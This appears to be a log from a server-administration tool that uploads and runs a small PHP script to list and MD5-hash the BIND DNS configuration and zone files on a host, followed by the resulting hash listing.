MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-22 12:28:44: Establishing a connection
2026-04-22 12:28:44: 

PUT: /tmp/pkp417111

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-22 12:28:44: 

runuser -l bind -s /bin/bash -c '/tmp/pkp417111; rm /tmp/pkp417111'

2026-04-22 12:28:44: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
